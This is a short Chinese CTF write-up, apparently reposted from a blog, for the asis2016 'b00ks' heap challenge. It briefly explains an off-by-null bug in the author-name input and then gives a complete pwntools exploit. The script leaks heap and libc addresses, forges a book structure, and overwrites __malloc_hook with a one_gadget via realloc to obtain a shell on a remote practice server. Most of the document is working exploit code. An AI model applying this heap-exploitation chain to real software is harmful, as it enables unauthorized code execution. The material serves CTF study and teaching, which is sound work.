其他分享
首页 > 其他分享> > asis2016_b00ks(off-by-null *不一般)

asis2016_b00ks(off-by-null *不一般)

作者:互联网

题目的例行检查我就不放了,将程序放入ida中

 

 

 程序的输入这里有一个a1=0存在off by null 

再进入add页面查看

 

 

 

 

 

 可以看到程序申请了一个0x20大小的chunk保存着当前2chunk的地址指针和index的信息

所以我们可以通过仿造或者修改指针去达到任意申请和任意写的方式

首先我们需要填满author_name使得可以泄露出chunk的地址甚至基地址

完整exp如下

from pwn import *
#p = process('./b00ks')
p = remote('node4.buuoj.cn',26785)
elf = ELF('./b00ks')
libc = ELF('./libc-2.23.so')

def launch_gdb():
    context.terminal = ['xfce4-terminal','-x','sh','-c']
    gdb.attach(proc.pidof(p)[0])

def add(namesize,name,desize,content):
    p.sendlineafter('> ','1')
    p.sendlineafter('size:',str(namesize))
    p.sendlineafter('chars): ',name)
    p.sendlineafter(': ',str(desize))
    p.sendlineafter(': ',content)

def edit(index,content):
    p.sendlineafter('> ','3')
    p.sendlineafter('edit: ',str(index))
    p.sendlineafter('description: ',content)

def show():
    p.sendlineafter('> ','4')

def free(index):
    p.sendlineafter('> ','2')
    p.sendlineafter('delete: ',str(index))
def name(content):
    p.sendlineafter('> ','5')
    p.sendlineafter('name: ',content)

#launch_gdb()
p.sendlineafter('name: ','a'*0x20)

add(0xd0,'aaaa',0x20,'bbbb')
show()
p.recvuntil('a'*32)
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
print('heap_addr--->'+hex(heap_addr))

add(0x80,'aaaa',0x60,'aaaa')
add(0x10,'cccc',0x10,'aaaa')

free(2)
edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90)+p64(0x20))
name('a'*0x20)
show()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3c4b78
print('libc_base--->>'+hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
relloc = libc_base + libc.sym['realloc']
one = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base+one[1]
edit(1,p64(malloc_hook-0x23))

add(0x60,'aaaa',0x60,b'a'*(0x13-0x08)+p64(one_gadget)+p64(relloc+14))


p.interactive()

这种题目还是建议亲手去调试一下理解的更快

结束!

标签:b00ks,off,name,libc,content,add,sendlineafter,null,p64
来源: https://www.cnblogs.com/zhuangzhouQAQ/p/15818637.html